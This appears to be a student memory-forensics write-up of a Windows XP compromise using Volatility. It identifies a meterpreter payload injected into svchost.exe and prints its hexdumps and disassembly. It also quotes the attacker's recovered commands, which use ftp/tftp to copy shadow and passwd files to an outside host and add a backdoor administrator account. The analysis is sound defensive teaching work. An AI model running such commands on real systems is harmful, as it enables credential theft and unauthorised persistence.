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1 Questions

1.1 What tool was used to compromise the system?

Using plugins `cmdscan` and `consoles` we found evidence of an attacker trying to create a new user and add it to the local administrators group. The attacker also tried to exfiltrate the `shadow` and `passwd` files using `ftp` and `tftp` commands.

These commands were run by a child of `csrss.exe` (Pid 684), here is an extract of these commands :

```

1 *****
2 CommandProcess: csrcss.exe Pid: 684
3 CommandHistory: 0x10986f8 Application: cmd.exe Flags: Allocated, Reset
4 CommandCount: 9 LastAdded: 8 LastDisplayed: 8
5 FirstCommand: 0 CommandCountMax: 50
6 ProcessHandle: 0x5b4
7 *****
8 cd C:\
9 mkdir system32
10 cd system32
11 ftp 192.168.174.128
12 tftp 192.168.1.104 put shadow
13 tftp 192.168.1.104 put passwd
14 net user admin * /add
15 net localgroup Administrators admin /add #000PS
16 net localgroup Administrators admin /add

```

Using `pstree` we can see that a `cmd.exe` is running as a child of `svchost.exe` (Pid 1136) which is a child of our `csrss.exe` (Pid 684).

1	Name	Pid	PPid	Thds
2	-----	-----	-----	-----
3	.. 0x89953020:csrss.exe	684	620	11
	409 2013-08-15 22:55:10 UTC+0000			
4	.. 0x8969f020:winlogon.exe	708	620	22
	522 2013-08-15 22:55:10 UTC+0000			
5	... 0x8998b680:wpabaln.exe	1428	708	1
	58 2013-08-15 22:57:13 UTC+0000			
6	... 0x8994dca8:services.exe	752	708	16
	268 2013-08-15 22:55:10 UTC+0000			
7	.... 0x895213c0:svchost.exe	132	752	6
	88 2013-08-15 22:55:31 UTC+0000			
8	.... 0x8989a980:vmtoolsd.exe	272	752	8
	268 2013-08-15 22:55:32 UTC+0000			
9	.... 0x8994f458:vmacthlp.exe	924	752	1
	25 2013-08-15 22:55:10 UTC+0000			

10	....	0x899a1a00:svchost.exe	1184	752	6
		70 2013-08-15 22:55:12 UTC+0000			
11	....	0x89b60998:svchost.exe	1284	752	14
		195 2013-08-15 22:55:12 UTC+0000			
12	....	0x896a1b10:svchost.exe	936	752	19
		202 2013-08-15 22:55:11 UTC+0000			
13	....	0x895e9618:svchost.exe	996	752	10
		238 2013-08-15 22:55:11 UTC+0000			
14	....	0x89679608:alg.exe	1768	752	6
		101 2013-08-15 22:55:40 UTC+0000			
15	....	0x89a54650:spoolsv.exe	1644	752	14
		145 2013-08-15 22:55:13 UTC+0000			
16	....	0x89a90da0:svchost.exe	1136	752	68
		4423 2013-08-15 22:55:11 UTC+0000			
17	.....	0x89985c08:wscntfy.exe	1588	1136	1
		28 2013-08-15 22:55:40 UTC+0000			
18	.....	0x8950a020:cmd.exe	440	1136	1
		33 2013-08-15 22:56:01 UTC+0000			
19	.....	0x8992fb08:wmiadap.exe	364	1136	5
		172 2013-08-15 22:59:40 UTC+0000			

So now the `svchost.exe` (Pid 1136) is suspicious, let's have a look at it.

Looking at the network connections using `sockets` we can see that the `svchost.exe` (Pid 1136) is actively listening on all interfaces on port 4444.

1	Offset(V)	PID	Port	Proto	Protocol	Address
2	Create Time					
3	-----	-----	-----	-----	-----	-----
4	0x896b87c0	1136	123	17	UDP	192.168.174.148
	2013-08-15 22:55:40		UTC+0000			
5	0x896e36d8	1136	123	17	UDP	127.0.0.1
	2013-08-15 22:55:40		UTC+0000			
6	0x898ad978	1136	4444	6	TCP	0.0.0.0
	2013-08-15 22:56:00		UTC+0000			

Knowing that 4444 is a common port used by `msf` (metasploit) we can assume that this process is a even more malicious.

From now we can assume that it is most likely a reverse shell, so we can use `connections` to see if there is any active connection...

Here you go...

1	Offset(V)	Local Address	Remote Address	Pid
2	-----	-----	-----	---
3	0x8966bd30	192.168.174.148:4444	192.168.174.1:58719	1136

So we can assume that the attacker is using a reverse shell to connect to the machine.

The attacker is most likely using `msf` (metasploit) to get a reverse shell, so we can assume that the attacker is using a `meterpreter` shell.

After quick research about how `meterpreter` works, we found out that “Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime.” <https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/>

Let’s use `malfind` in order to explore the potential strange VADS in here.

Hooray ! We found something interesting...

```

1 Process: svchost.exe Pid: 1136 Address: 0x2df0000
2 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
3 Flags: CommitCharge: 109, MemCommit: 1, PrivateMemory: 1, Protection: 6
4
5 0x0000000002df0000 4d 5a e8 00 00 00 00 5b 52 45 55 89 e5 81 c3 89
   MZ.....[REU.....
6 0x0000000002df0010 0e 00 00 ff d3 89 c3 57 68 04 00 00 00 50 ff d0
   .....Wh....P..
7 0x0000000002df0020 68 e0 1d 2a 0a 68 05 00 00 00 50 ff d3 00 00 00 h
   ..*.h....P.....
8 0x0000000002df0030 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00
   .....

```

Based on the criteria seen in class :

- Full committed page -> YES
- RWX page -> YES
- Private memory -> YES
- No mapped file (VadS) -> YES
- MZ header -> YES

So `svchost.exe` (Pid 1136) is no more a suspicious process, it is most likely a malicious one.

We dumped the injected executable at `0x2df0000`, we ran `strings` on it and we found out that it is really a `meterpreter` shell :

here’s an extract of some strings that “proves” that it is a `meterpreter` shell :

- `ReflectiveLoader` -> as described in <https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/> the stager uses `ReflectiveLoader` to load the DLL into memory.
- `ImpersonateLoggedOnUser` -> this is a typical function used by `meterpreter` to impersonate the user.

In short, the tool used by the attacker is `meterpreter` and the process where it has been injected is `svchost.exe` (Pid 1136).

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1.6 How was persistence maintained?

```
1 cmdscan
2
3 *****
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5 CommandHistory: 0x10986f8 Application: cmd.exe Flags: Allocated, Reset
6 CommandCount: 9 LastAdded: 8 LastDisplayed: 8
7 FirstCommand: 0 CommandCountMax: 50
8 ProcessHandle: 0x5b4
9 Cmd #0 @ 0x10a4be8: cd C:\
10 Cmd #1 @ 0x4f1eb8: mkdir system32
11 Cmd #2 @ 0x4f2fb0: cd system32
12 Cmd #3 @ 0x10a4c68: ftp 192.168.174.128
13 Cmd #4 @ 0x10a4ec0: tftp 192.168.1.104 put shadow
14 Cmd #5 @ 0x10a4f90: tftp 192.168.1.104 put passwd
15 Cmd #6 @ 0x4f2f78: net user admin * /add
16 Cmd #7 @ 0x1097bc0: net localgroup Administrators admin /add
17 Cmd #8 @ 0x1097cc0: net localgroup Administrators admin /add
18 *****
```

With the `consoles` plugin we get a more detailed view of the commands that were run and the output of those commands :

```
1 consoles
2
3 Screen 0x4f2ab0 X:80 Y:300
4 Dump:
5 Microsoft Windows XP [Version 5.1.2600]
6 (C) Copyright 1985-2001 Microsoft Corp.
7
8 C:\WINDOWS\system32>cd C:\
9
```

```
10 C:\>mkdir system32
11
12 C:\>cd system32
13
14 C:\system32>ftp 192.168.174.128
15 Connected to 192.168.174.128.
16 220 ProFTPD 1.3.4a Server (Debian) [::ffff:192.168.174.128]
17 User (192.168.174.128:(none)): root
18 331 Password required for root
19 Password:
20 230 User root logged in
21 ftp> get /etc/shadow
22 200 PORT command successful
23 150 Opening ASCII mode data connection for /etc/shadow (866 bytes)
24 226 Transfer complete
25 ftp: 891 bytes received in 0.02Seconds 55.69Kbytes/sec.
26 ftp> get /etc/passwd
27 200 PORT command successful
28 150 Opening ASCII mode data connection for /etc/passwd (1033 bytes)
29 226 Transfer complete
30 ftp: 1058 bytes received in 0.00Seconds 1058000.00Kbytes/sec.
31 ftp> exit
32 Invalid command.
33 ftp> quit
34 221 Goodbye.
35
36 C:\system32>tftp 192.168.1.104 put shadow
37 Transfer successful: 891 bytes in 1 second, 891 bytes/s
38
39 C:\system32>tftp 192.168.1.104 put passwd
40 Transfer successful: 1058 bytes in 1 second, 1058 bytes/s
41
42 C:\system32>net user admin * /add
43 Type a password for the user:
44 Retype the password to confirm:
45 The command completed successfully.
46
47
48 C:\system32>net localgroup Administrators admin /add
49 The syntax of this command is:
50
51
52 NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
53       HELPMMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
54       SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]
55
56
57 C:\system32>net localgroup Administrators admin /add
58 The command completed successfully.
```

Probablement reflective DLL injection :

```

1
2 vol.py malfind -p 1136 -D injected_dump/
3 Volatility Foundation Volatility Framework 2.6.1
4 /usr/local/lib/python2.7/dist-packages/volatility/plugins/community/
  YingLi/ssh_agent_key.py:12: CryptographyDeprecationWarning: Python 2
    is no longer supported by the Python core team. Support for it is
    now deprecated in cryptography, and will be removed in the next
    release.
5 from cryptography.hazmat.backends.openssl import backend
6 Process: svchost.exe Pid: 1136 Address: 0x2df0000
7 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
8 Flags: CommitCharge: 109, MemCommit: 1, PrivateMemory: 1, Protection: 6
9
10 0x0000000002df0000 4d 5a e8 00 00 00 00 5b 52 45 55 89 e5 81 c3 89
    MZ.....[REU.....
11 0x0000000002df0010 0e 00 00 ff d3 89 c3 57 68 04 00 00 00 50 ff d0
    .....Wh....P..
12 0x0000000002df0020 68 e0 1d 2a 0a 68 05 00 00 00 50 ff d3 00 00 00 h
    ..*.h....P.....
13 0x0000000002df0030 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00
    .....
14
15 0x0000000002df0000 4d          DEC EBP
16 0x0000000002df0001 5a          POP EDX
17 0x0000000002df0002 e800000000 CALL 0x2df0007
18 0x0000000002df0007 5b          POP EBX
19 0x0000000002df0008 52          PUSH EDX
20 0x0000000002df0009 45          INC EBP
21 0x0000000002df000a 55          PUSH EBP
22 0x0000000002df000b 89e5        MOV EBP, ESP
23 0x0000000002df000d 81c3890e0000 ADD EBX, 0xe89
24 0x0000000002df0013 ffd3        CALL EBX
25 0x0000000002df0015 89c3        MOV EBX, EAX
26 0x0000000002df0017 57          PUSH EDI
27 0x0000000002df0018 6804000000 PUSH DWORD 0x4
28 0x0000000002df001d 50          PUSH EAX
29 0x0000000002df001e ffd0        CALL EAX
30 0x0000000002df0020 68e01d2a0a PUSH DWORD 0xa2a1de0
31 0x0000000002df0025 6805000000 PUSH DWORD 0x5
32 0x0000000002df002a 50          PUSH EAX
33 0x0000000002df002b ffd3        CALL EBX
34 0x0000000002df002d 0000        ADD [EAX], AL
35 0x0000000002df002f 0000        ADD [EAX], AL
36 0x0000000002df0031 0000        ADD [EAX], AL
37 0x0000000002df0033 0000        ADD [EAX], AL
38 0x0000000002df0035 0000        ADD [EAX], AL
39 0x0000000002df0037 0000        ADD [EAX], AL
40 0x0000000002df0039 0000        ADD [EAX], AL
41 0x0000000002df003b 00f0        ADD AL, DH
42 0x0000000002df003d 0000        ADD [EAX], AL

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```

43 0x0000000002df003f 00          DB 0x0
44
45 Process: svchost.exe Pid: 1136 Address: 0x2e60000
46 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
47 Flags: CommitCharge: 115, MemCommit: 1, PrivateMemory: 1, Protection: 6
48
49 0x0000000002e60000 4d 5a e8 00 00 00 00 5b 52 45 55 89 e5 81 c3 89
    MZ.....[REU.....
50 0x0000000002e60010 0e 00 00 ff d3 89 c3 57 68 04 00 00 00 50 ff d0
    .....Wh....P..
51 0x0000000002e60020 68 e0 1d 2a 0a 68 05 00 00 00 50 ff d3 00 00 00 h
    ..*.h....P.....
52 0x0000000002e60030 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00
    .....
53
54 0x0000000002e60000 4d          DEC EBP
55 0x0000000002e60001 5a          POP EDX
56 0x0000000002e60002 e800000000    CALL 0x2e60007
57 0x0000000002e60007 5b          POP EBX
58 0x0000000002e60008 52          PUSH EDX
59 0x0000000002e60009 45          INC EBP
60 0x0000000002e6000a 55          PUSH EBP
61 0x0000000002e6000b 89e5        MOV EBP, ESP
62 0x0000000002e6000d 81c3890e0000 ADD EBX, 0xe89
63 0x0000000002e60013 ffd3        CALL EBX
64 0x0000000002e60015 89c3        MOV EBX, EAX
65 0x0000000002e60017 57          PUSH EDI
66 0x0000000002e60018 6804000000    PUSH DWORD 0x4
67 0x0000000002e6001d 50          PUSH EAX
68 0x0000000002e6001e ffd0        CALL EAX
69 0x0000000002e60020 68e01d2a0a    PUSH DWORD 0xa2a1de0
70 0x0000000002e60025 6805000000    PUSH DWORD 0x5
71 0x0000000002e6002a 50          PUSH EAX
72 0x0000000002e6002b ffd3        CALL EBX
73 0x0000000002e6002d 0000        ADD [EAX], AL
74 0x0000000002e6002f 0000        ADD [EAX], AL
75 0x0000000002e60031 0000        ADD [EAX], AL
76 0x0000000002e60033 0000        ADD [EAX], AL
77 0x0000000002e60035 0000        ADD [EAX], AL
78 0x0000000002e60037 0000        ADD [EAX], AL
79 0x0000000002e60039 0000        ADD [EAX], AL
80 0x0000000002e6003b 00f0        ADD AL, DH
81 0x0000000002e6003d 0000        ADD [EAX], AL
82 0x0000000002e6003f 00          DB 0x0
83
84 Process: svchost.exe Pid: 1136 Address: 0x2fd0000
85 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
86 Flags: CommitCharge: 94, MemCommit: 1, PrivateMemory: 1, Protection: 6
87
88 0x0000000002fd0000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00
    MZ.....

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```

89 0x0000000002fd0010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
    .....@.....
90 0x0000000002fd0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    .....
91 0x0000000002fd0030 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00
    .....
92
93 0x0000000002fd0000 4d          DEC EBP
94 0x0000000002fd0001 5a          POP EDX
95 0x0000000002fd0002 90          NOP
96 0x0000000002fd0003 0003        ADD [EBX], AL
97 0x0000000002fd0005 0000        ADD [EAX], AL
98 0x0000000002fd0007 000400      ADD [EAX+EAX], AL
99 0x0000000002fd000a 0000        ADD [EAX], AL
100 0x0000000002fd000c ff          DB 0xff
101 0x0000000002fd000d ff00        INC DWORD [EAX]
102 0x0000000002fd000f 00b800000000 ADD [EAX+0x0], BH
103 0x0000000002fd0015 0000        ADD [EAX], AL
104 0x0000000002fd0017 004000      ADD [EAX+0x0], AL
105 0x0000000002fd001a 0000        ADD [EAX], AL
106 0x0000000002fd001c 0000        ADD [EAX], AL
107 0x0000000002fd001e 0000        ADD [EAX], AL
108 0x0000000002fd0020 0000        ADD [EAX], AL
109 0x0000000002fd0022 0000        ADD [EAX], AL
110 0x0000000002fd0024 0000        ADD [EAX], AL
111 0x0000000002fd0026 0000        ADD [EAX], AL
112 0x0000000002fd0028 0000        ADD [EAX], AL
113 0x0000000002fd002a 0000        ADD [EAX], AL
114 0x0000000002fd002c 0000        ADD [EAX], AL
115 0x0000000002fd002e 0000        ADD [EAX], AL
116 0x0000000002fd0030 0000        ADD [EAX], AL
117 0x0000000002fd0032 0000        ADD [EAX], AL
118 0x0000000002fd0034 0000        ADD [EAX], AL
119 0x0000000002fd0036 0000        ADD [EAX], AL
120 0x0000000002fd0038 0000        ADD [EAX], AL
121 0x0000000002fd003a 0000        ADD [EAX], AL
122 0x0000000002fd003c f8          CLC
123 0x0000000002fd003d 0000        ADD [EAX], AL
124 0x0000000002fd003f 00          DB 0x0
125
126 Process: svchost.exe Pid: 1136 Address: 0x30e0000
127 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
128 Flags: CommitCharge: 98, MemCommit: 1, PrivateMemory: 1, Protection: 6
129
130 0x00000000030e0000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00
    MZ.....
131 0x00000000030e0010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
    .....@.....
132 0x00000000030e0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    .....
133 0x00000000030e0030 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00

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.....
134
135 0x00000000030e0000 4d          DEC EBP
136 0x00000000030e0001 5a          POP EDX
137 0x00000000030e0002 90          NOP
138 0x00000000030e0003 0003        ADD [EBX], AL
139 0x00000000030e0005 0000        ADD [EAX], AL
140 0x00000000030e0007 000400      ADD [EAX+EAX], AL
141 0x00000000030e000a 0000        ADD [EAX], AL
142 0x00000000030e000c ff          DB 0xff
143 0x00000000030e000d ff00        INC DWORD [EAX]
144 0x00000000030e000f 00b800000000 ADD [EAX+0x0], BH
145 0x00000000030e0015 0000        ADD [EAX], AL
146 0x00000000030e0017 004000      ADD [EAX+0x0], AL
147 0x00000000030e001a 0000        ADD [EAX], AL
148 0x00000000030e001c 0000        ADD [EAX], AL
149 0x00000000030e001e 0000        ADD [EAX], AL
150 0x00000000030e0020 0000        ADD [EAX], AL
151 0x00000000030e0022 0000        ADD [EAX], AL
152 0x00000000030e0024 0000        ADD [EAX], AL
153 0x00000000030e0026 0000        ADD [EAX], AL
154 0x00000000030e0028 0000        ADD [EAX], AL
155 0x00000000030e002a 0000        ADD [EAX], AL
156 0x00000000030e002c 0000        ADD [EAX], AL
157 0x00000000030e002e 0000        ADD [EAX], AL
158 0x00000000030e0030 0000        ADD [EAX], AL
159 0x00000000030e0032 0000        ADD [EAX], AL
160 0x00000000030e0034 0000        ADD [EAX], AL
161 0x00000000030e0036 0000        ADD [EAX], AL
162 0x00000000030e0038 0000        ADD [EAX], AL
163 0x00000000030e003a 0000        ADD [EAX], AL
164 0x00000000030e003c f8          CLC
165 0x00000000030e003d 0000        ADD [EAX], AL
166 0x00000000030e003f 00          DB 0x0
167
168 Process: svchost.exe Pid: 1136 Address: 0x3600000
169 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
170 Flags: CommitCharge: 4113, PrivateMemory: 1, Protection: 6
171
172 0x0000000003600000 c8 00 00 00 13 01 00 00 ff ee ff ee 00 10 04 00
.....
173 0x0000000003600010 00 00 00 00 00 fe 00 00 00 00 10 00 00 20 00 00
.....
174 0x0000000003600020 00 02 00 00 00 20 00 00 30 21 20 00 ff ef fd 7f
.....0!.....
175 0x0000000003600030 1b 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00
.....
176
177 0x0000000003600000 c8000000      ENTER 0x0, 0x0
178 0x0000000003600004 1301      ADC EAX, [ECX]
179 0x0000000003600006 0000      ADD [EAX], AL

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180	0x0000000003600008	ff	DB 0xff
181	0x0000000003600009	ee	OUT DX, AL
182	0x000000000360000a	ff	DB 0xff
183	0x000000000360000b	ee	OUT DX, AL
184	0x000000000360000c	0010	ADD [EAX], DL
185	0x000000000360000e	0400	ADD AL, 0x0
186	0x0000000003600010	0000	ADD [EAX], AL
187	0x0000000003600012	0000	ADD [EAX], AL
188	0x0000000003600014	00fe	ADD DH, BH
189	0x0000000003600016	0000	ADD [EAX], AL
190	0x0000000003600018	0000	ADD [EAX], AL
191	0x000000000360001a	1000	ADC [EAX], AL
192	0x000000000360001c	0020	ADD [EAX], AH
193	0x000000000360001e	0000	ADD [EAX], AL
194	0x0000000003600020	0002	ADD [EDX], AL
195	0x0000000003600022	0000	ADD [EAX], AL
196	0x0000000003600024	0020	ADD [EAX], AH
197	0x0000000003600026	0000	ADD [EAX], AL
198	0x0000000003600028	3021	XOR [ECX], AH
199	0x000000000360002a	2000	AND [EAX], AL
200	0x000000000360002c	ff	DB 0xff
201	0x000000000360002d	ef	OUT DX, EAX
202	0x000000000360002e	fd	STD
203	0x000000000360002f	7f1b	JG 0x360004c
204	0x0000000003600031	0008	ADD [EAX], CL
205	0x0000000003600033	06	PUSH ES
206	0x0000000003600034	0000	ADD [EAX], AL
207	0x0000000003600036	0000	ADD [EAX], AL
208	0x0000000003600038	0000	ADD [EAX], AL
209	0x000000000360003a	0000	ADD [EAX], AL
210	0x000000000360003c	0000	ADD [EAX], AL
211	0x000000000360003e	0000	ADD [EAX], AL